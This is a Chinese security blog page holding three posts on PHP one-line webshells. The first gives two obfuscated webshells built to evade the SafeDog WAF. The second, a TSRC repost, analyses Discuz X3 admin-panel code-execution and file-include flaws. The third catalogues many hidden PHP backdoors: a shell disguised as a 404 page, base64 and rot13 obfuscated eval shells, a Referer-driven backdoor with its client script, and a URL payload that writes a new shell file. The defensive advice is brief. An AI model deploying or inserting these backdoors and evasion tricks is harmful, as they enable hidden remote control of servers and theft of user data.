一句话 - Mrxn's Blog-关注web安全、热爱黑客技术

如何绕过安全狗waf这类的防护软件--PHP过狗一句话实例两枚+过狗详细分析讲解渗透测试

00x01

目前大多数网站都存在类似安全狗，360主机卫士的防护软件，所以今天咱们来一波虐狗

00x02

下面是我整理的一些免杀的思路：

1.关键字替换

2.组合猜分

3.关键函数替换

4.加解密/编码/解码

5.可变变量

可变变量顾名思义，变量的变量

例：

$a='b';$b='hello world!';echo $$a;

00x03

一句话原型：

一句话原型可以分为以下两部分：

eval() ------> 函数部分

$_POST["ceshi"] ------> 传值部分

00x04

想要绕过安全狗，我们首先要想到它的过滤机制，我做了一番测试，直接放一句话原型上去，会被杀，然而注释掉传值部分就不会被杀，所以我们要混淆

传值部分，函数部分也混淆，让这类防护软件傻傻分不清，从而达到免杀的效果(欢迎各位老表小弟释放出你们的淫荡姿势-_-||)。

00x05

传值方式：

1.$_GET

2.$_POST

3.$_REQUEST

可能会用到的函数：

assert() eval() str_replace()

trim() ltrim() rtrim()

array() rand()

00x06

免杀系列：

//例1:
<?php
    $c = 'w';$w = 'assert';
    $a = array(/**/$_REQUEST["ceshi"],/**/$_GET["ceshi"],/**/$_POST["ceshi"],/**/$_FILE["ceshi"],/**/$_COOKIE["ceshi"]);
    foreach($a as $k => $v){
        if($k==$_GET["a"]){//a=0
            $$c($v);
        }
    }
?>

//例2：
<?php
    $a = str_replace('c','',trim('ssscacssss','s').ltrim('aaascc','a').rtrim('ccsbbbbb','b').trim('vvvvcecvvvvvv','v').trim('sssscrcssss','s').ltrim('aaaactc','a'));
    $b = array('ccc',/**/$_POST["w"],/**/$_REQUEST["w"]);
    foreach($b as $k => $v){
        if($k == rand($_GET["a"],$_GET["b"])){//a=1&b=2
            $a($v);
        }
    }
?>

下面配上过狗的截图,昨天新鲜出炉的,欢迎食用.(请点击图片浏览高清原图):

今天就写到这里,我们下次见!

标签: 代码 shell php 一句话 SQL注入 waf 过狗

admin 发布于 2017-4-9 13:34

评论(0) 浏览(2730)

【转自TSRC】浅谈开源web程序后台的安全性网络安全

前言

   不知怎的最近甚是思念校园生活，思念食堂的炒饭。那时会去各种安全bbs上刷刷帖子，喜欢看别人写的一些关于安全技巧或经验的总结；那时BBS上很多文章标题都是：成功渗透XXX，成功拿下XXX。这里便以一篇入侵菲律宾某大学的文章引出文章的主题，我们先简要看一下过程。大学网站使用了名为joomla 的开源web程序，（1）青年使用一个joomla已经公开的漏洞进入web后台（2）青年使用joomla后台上传限制不严的缺陷上传了一个 webshell（3）控制主机赠送我国国旗。
      原来入侵一台主机如此容易，管理员果断给web程序打上安全补丁。管理员的工作是结束了，作为安全从业人员再一想是不是joomla后台这里可以上传webshell是不是有问题呢，如果joomla后台不能上传webshell，是不是可以减少入侵的可能和损失。下面进入本文的主题：web后台程序的安全性。

二、简介

      国内很多站点都是基于开源论坛、cms搭建的，比如discuz、phpwind、dedecms等。这些程序都是国内开源web程序中的佼佼者，也比较注重安全性。平时大家关注比较多的是sql注入、xss这些可以直接窃取用户数据的漏洞。网上因为弱口令被入侵的案例数不胜数，此外用户数据泄漏事件时而发生，单纯靠密码防护的后台被突破，被社工的可能性越来越大。获取一个管理后台密码后，再结合后台程序的任意代码执行、文件包含或命令注入等漏洞得到一个shell，窃取用户资料不是什么难事。此时后台程序的安全性成为一个短板。
   Discuz是一款流行的论坛程序，笔者这里就以它的后台程序为例简单分析一下其安全性，下面直接看一些漏洞案例（Discuz最新版本已打补丁,请用户及时升级到最新版-Discuz! X3.1 R20140101）。

三、案例分析

Tips：下文提到的$settingnew是discuz后台存储表单数据的变量，后台用户可控。

案例一：用户输入数据过滤逻辑不当

漏洞文件：X3\source\admincp\admincp_setting.php

分析：

01	<code id="code0">// 1、alice修改$settingnew['extcredits']非数组
02	if(is_array($settingnew['extcredits'])) {

03	foreach($settingnew['extcredits'] as $key => $value) {
04	// 2、给$settingnew['initcredits'][1]传入phpinfo();,非数组绕过intval转换

05	$settingnew['initcredits'][$i] = intval($settingnew['initcredits'][$i]);
06	... 省略 ...

07	for($i = 1; $i <= 8; $i++) {
08	// 3、 phpinfo();被赋值给$initformula

09	$initformula = str_replace('extcredits'.$i, $settingnew['initcredits'][$i], $initformula);
10	}

11	// 4、phpinfo()带入eval执行
12	eval("\$_G['setting']['initcredits'] = round($initformula);");</code>

案例二：二次注入

简单介绍一下二次注入，恶意用户alice在A处传入恶意数据并被存储到数据库，在A处不直接导致安全问题；B处引用到A处存储的数据，从而触发安全问题。

漏洞文件：X3\source\admincp\admincp_setting.php

分析：

1	// 1、alice上传一个图片木马假设为1.gif; alice设置$settingnew['seccodedata']['type']值为1.gif\0:xx（根据图片地址做适当目录跳转）；该值未作任何过滤存入数据库
2	if($settingnew['seccodedata']['type'] == 0 \|\| $settingnew['seccodedata']['type'] == 2) {

3	$seccoderoot = 'static/image/seccode/font/en/';
4	} elseif($settingnew['seccodedata']['type'] == 1) {

5	$seccoderoot = 'static/image/seccode/font/ch/';
6	}漏洞文件：source\module\misc\misc_seccode.php

01	// 2、$_G['setting']['seccodedata']['type']值来自于数据库，即为1处传入的1.gif\0:xx
02	if(!is_numeric($_G['setting']['seccodedata']['type'])) {

03	$etype = explode(':', $_G['setting']['seccodedata']['type']);
04	if(count($etype) > 1) {

05		// 3、 \0截断得到$codefile为图片小马(也可使用././././多个路径符方法截断)
06	$codefile = DISCUZ_ROOT.'./source/plugin/'.$etype[0].'/seccode/seccode_'.$etype[1].'.php';

07	... 省略 ...
08	if(file_exists($codefile)) {

09	// 4、图片木马被include得到webshell
10	@include_once $codefile;

案例三：程序升级新增逻辑导致的漏洞

漏洞文件：X3\source\admincp\admincp_adv.php

01	// 1、alice上传一个图片木马假设为1.gif; alice传入type参数值为1.gif\0:xx（根据图片地址做适当目录跳转）
02	$type = $_GET['type'];

03	... ...
04	if($type) {

05	//2、得到$etype为1.gif\0
06	$etype = explode(':', $type);

07	if(count($etype) > 1) {
08	//3、$advfile值被\0截断，为图片木马路径1.gif

09	$advfile = DISCUZ_ROOT.'./source/plugin/'.$etype[0].'/adv/adv_'.$etype[1].'.php';
10		$advclass = 'adv_'.$etype[1];

11	}
12	... 省略 ...

13	//4、包含图片木马，得到webshell
14	if(file_exists($advfile)) {

15	require_once $advfile;

对比下X2.5版本的逻辑，此处漏洞完全是因为新增代码导致的。

1	$type = $_GET['type'];
2	$target = $_GET['target'];

3	$typeadd = '';
4	if($type) {

5	$advfile = libfile('adv/'.$type, 'class');
6	if(file_exists($advfile)) {

7	require_once $advfile;

案例四：漏洞修补不完善

漏洞文件：X3\api\uc.php

分析：

01	//1、config_ucenter.php内容部分截取如下：define('UC_API', 'http://localhost/bbs/uc_server');
02	$configfile = trim(file_get_contents(DISCUZ_ROOT.'./config/config_ucenter.php'));

03	... ...
04	//2、$UC_AP外部可控，alice传入$UC_API的值为xyz');eval($_POST[cmd];得到$configfile值为define('UC_API', 'xyz\');eval($_POST[cmd];'); xyz后面的引号被转义。

05	$configfile=preg_replace("/define$'UC_API',\s'.?'$;/i","define('UC_API','".addslashes($UC_API)."');", $configfile);
06		//3、将define('UC_API', 'xyz\');eval($_POST[cmd];');写入配置文件

07	if($fp = @fopen(DISCUZ_ROOT.'./config/config_ucenter.php', 'w')) {
08	@fwrite($fp, trim($configfile));

09	@fclose($fp);
10	}

11	//4、 alice再次传入$UC_API的值为xyz，preg_replace使用的正则表达式是define$'UC_API',\s'.?'$; .*?'非贪婪匹配，匹配到第一个引号结束，之前的转义符被替换xyz\替换为xyz，从而得到$configfile值为 define('UC_API', 'xyz');eval($_POST[cmd];');写入配置文件得到webshell。

这个问题早在2010年外部已经公开，官方已及时发出补丁
详情请参考：http://www.oldjun.com/blog/index.php/archives/76/

四、总结

上面这些例子主要是笔者实践经验的一些总结，不一定全面，希望能给大家拓展一些思路；比如上述提到的二次注入，$settingnew['seccodedata']['type']这个变量没过滤，$settingnew的其他数组也可能没过滤，也确实存在多处类似的问题，大家可以自行去尝试一下。关于代码审计的方法主要有两个大方向：（1）危险函数向上追踪输入；（2）追踪用户输入是否进入危险函数；这里的危险函数关于危险函数主要包括代码执行相关：eval、assert，文件包含：include、require等，命令执行：system、exec 等，写文件：fwrite、file_put_contents等；

代码审计的方法这里推荐两篇文章:
https://code.google.com/p/pasc2at/wiki/SimplifiedChinese
http://wenku.baidu.com/view/c85be95a3b3567ec102d8a12.html

五、反思

1、一切输入都是有害的；
后台程序的用户输入相比前台主要增加了后台表单的数据，此外有些后台支持上传文件(如dz1.5的自定义sql)，上传文件的内容也属于输入；这些输入都属于用户范围。一定要做严格的控制和过滤。

2、安全意识；
其实很多漏洞的产生并不是技术问题导致的，而是我们缺乏安全意识，不重视安全而酿成的惨剧。尤其是第三个和第四个，完全不应该发生；需要对开发人员做安全宣导和基本的安全培训。

3、漏洞Review；
（1）开发人员收到漏洞后要对漏洞产生的原因做总结，并Review代码中是否有类似的问题。有些时候开发人员仅仅是修补了安全人员或白帽子提供的漏洞点，另外一处代码有类似的问题没修补继续爆出漏洞，无穷无尽。这样做还会带来更大的隐患，黑客是非常乐意并擅长总结反思的，每一个补丁其实也是给黑客拓展了思路，如果修补不完全后果很严重。
（2）开发人员修补完成后安全人员需要进行测试确认，上述的案例四就是鲜明的例子。有条件的情况下安全人员应该整理一些常见漏洞修复指引，这样也可以提高工作效率。

标签: 黑客 XSS shell 漏洞 web安全木马入侵后门一句话 SQL注入代码审计

admin 发布于 2015-8-1 11:19

评论(0) 浏览(7981)

那些强悍的PHP一句话后门 PHP

我们以一个学习的心态来对待这些PHP后门程序，很多PHP后门代码让我们看到程序员们是多么的用心良苦。

强悍的PHP一句话后门

这类后门让网站、服务器管理员很是头疼，经常要换着方法进行各种检测，而很多新出现的编写技术，用普通的检测方法是没法发现并处理的。今天我们细数一些有意思的PHP一句话木马。

利用404页面隐藏PHP小马：

    <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php
@preg_replace("/[pageerror]/e",$_POST['error'],"saft");
header('HTTP/1.1 404 Not Found');
?>

404页面是网站常用的文件，一般建议好后很少有人会去对它进行检查修改，这时我们可以利用这一点进行隐藏后门。

无特征隐藏PHP一句话：

    <?php
session_start();
$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);
$_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');
?>

将$_POST['code']的内容赋值给$_SESSION['theCode']，然后执行$_SESSION['theCode']，亮点是没有特征码。用扫描工具来检查代码的话，是不会报警的，达到目的了。

超级隐蔽的PHP后门：

    <?php $_GET[a]($_GET[b]);?>

仅用GET函数就构成了木马；

利用方法：

    ?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};

执行后当前目录生成c.php一句话木马，当传参a为eval时会报错木马生成失败，为assert时同样报错，但会生成木马，真可谓不可小视，简简单单的一句话，被延伸到这般应用。

层级请求，编码运行PHP后门：
此方法用两个文件实现，文件1

    <?php
//1.php
header('Content-type:text/html;charset=utf-8');
parse_str($_SERVER['HTTP_REFERER'], $a);
if(reset($a) == '10'&& count($a) == 9) {
eval(base64_decode(str_replace(" ", "+", implode(array_slice($a, 6)))));
}
?>

文件2

    <?php
//2.php
header('Content-type:text/html;charset=utf-8');
//要执行的代码
$code= <<<CODE
phpinfo();
CODE;
//进行base64编码
$code= base64_encode($code);
//构造referer字符串
$referer= "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=";
//后门url
$url= 'http://localhost/test1/1.php';
$ch= curl_init();
$options= array(
CURLOPT_URL => $url,
CURLOPT_HEADER => FALSE,
CURLOPT_RETURNTRANSFER => TRUE,
CURLOPT_REFERER => $referer
);
curl_setopt_array($ch, $options);
echocurl_exec($ch);
?>

通过HTTP请求中的HTTP_REFERER来运行经过base64编码的代码，来达到后门的效果，一般waf对referer这些检测要松一点，或者没有检测。用这个思路bypass waf不错。

PHP后门生成工具weevely

weevely是一款针对PHP的webshell的自由软件，可用于模拟一个类似于telnet的连接shell，weevely通常用于web程序的漏洞利用，隐藏后门或者使用类似telnet的方式来代替web 页面式的管理，weevely生成的服务器端php代码是经过了base64编码的，所以可以骗过主流的杀毒软件和IDS，上传服务器端代码后通常可以通过weevely直接运行。

weevely所生成的PHP后门所使用的方法是现在比较主流的base64加密结合字符串变形技术，后门中所使用的函数均是常用的字符串处理函数，被作为检查规则的eval，system等函数都不会直接出现在代码中，从而可以致使后门文件绕过后门查找工具的检查。使用暗组的Web后门查杀工具进行扫描，结果显示该文件无任何威胁。

以上是大概介绍，相关使用方法亦家就不在这介绍了，简单的科普一下。

三个变形的一句话PHP木马
第一个

    <?php ($_=@$_GET[2]).@$_($_POST[1])?>

在菜刀里写http://site/1.php?2=assert密码是1

第二个

    <?php
$_="";
$_[+""]='';
$_="$_"."";
$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");
?>
<?php ${'_'.$_}['_'](${'_'.$_}['__']);?>

在菜刀里写http://site/2.php?_=assert&__=eval($_POST['pass']) 密码是pass。如果你用菜刀的附加数据的话更隐蔽，或者用其它注射工具也可以，因为是post提交的。

第三个

    ($b4dboy= $_POST['b4dboy']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add');

str_rot13(‘riny’)即编码后的eval，完全避开了关键字，又不失效果，让人吐血！

最后列几个高级的PHP一句话木马后门：

    1、
$hh= "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$hh("/[discuz]/e",$_POST['h'],"Access");
//菜刀一句话
2、
$filename=$_GET['xbid'];
include($filename);
//危险的include函数，直接编译任何文件为php格式运行
3、
$reg="c"."o"."p"."y";
$reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);
//重命名任何文件
4、
$gzid= "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$gzid("/[discuz]/e",$_POST['h'],"Access");
//菜刀一句话
5、include($uid);
//危险的include函数，直接编译任何文件为php格式运行，POST www.xxx.com/index.php?uid=/home/www/bbs/image.gif
//gif插一句话
6、典型一句话
程序后门代码
<?php eval_r($_POST[sb])?>
程序代码
<?php @eval_r($_POST[sb])?>
//容错代码
程序代码
<?php assert($_POST[sb]);?>
//使用lanker一句话客户端的专家模式执行相关的php语句
程序代码
<?$_POST['sa']($_POST['sb']);?>
程序代码
<?$_POST['sa']($_POST['sb'],$_POST['sc'])?>
程序代码
<?php
@preg_replace("/[email]/e",$_POST['h'],"error");
?>
//使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入
程序代码
<O>h=@eval_r($_POST1);</O>
程序代码
<script language="php">@eval_r($_POST[sb])</script>
//绕过<?限制的一句话

综上，这些PHP一句话后门可谓五脏俱全，一不小心您肯定中招了，而我们今天这篇文章的重中之重在哪呢？重点就在下边的总结!

如何应对PHP一句话后门：

我们强调几个关键点，看这文章的你相信不是门外汉，我也就不啰嗦了：

    1，对PHP程序编写要有安全意识2，服务器日志文件要经常看，经常备份3，对每个站点进行严格的权限分配4，对动态文件及目录经常批量安全审查5，学会如何进行手工杀毒《即行为判断查杀》6，时刻关注，或渗入活跃的网络安全营地7，对服务器环境层级化处理，哪怕一个函数也可做规则

我们认为当管理的站点多了，数据量大时，我们应合理应用一些辅助工具，但不应完全依赖这些工具，技术是时刻在更新进步的，最为重要的是你应学会和理解，编写这些强悍后门的人所处思维，角色上的换位可为你带来更大的进步。

标签: php 后门一句话

admin 发布于 2015-5-7 16:59

评论(4) 浏览(10640)

如何绕过安全狗waf这类的防护软件--PHP过狗一句话实例两枚+过狗详细分析讲解渗透测试

【转自TSRC】浅谈开源web程序后台的安全性网络安全

那些强悍的PHP一句话后门 PHP

搜索

日历

最新文章

最新评论

分类

标签

存档

链接

05	$configfile=preg_replace("/define\('UC_API',\s'.?'\);/i","define('UC_API','".addslashes($UC_API)."');", $configfile);
06		//3、将define('UC_API', 'xyz\');eval($_POST[cmd];');写入配置文件

如何绕过安全狗waf这类的防护软件--PHP过狗一句话实例两枚+过狗详细分析讲解 渗透测试

【转自TSRC】浅谈开源web程序后台的安全性 网络安全

那些强悍的PHP一句话后门 PHP

搜索

日历

最新文章

最新评论

分类

标签

存档

链接

如何绕过安全狗waf这类的防护软件--PHP过狗一句话实例两枚+过狗详细分析讲解渗透测试

【转自TSRC】浅谈开源web程序后台的安全性网络安全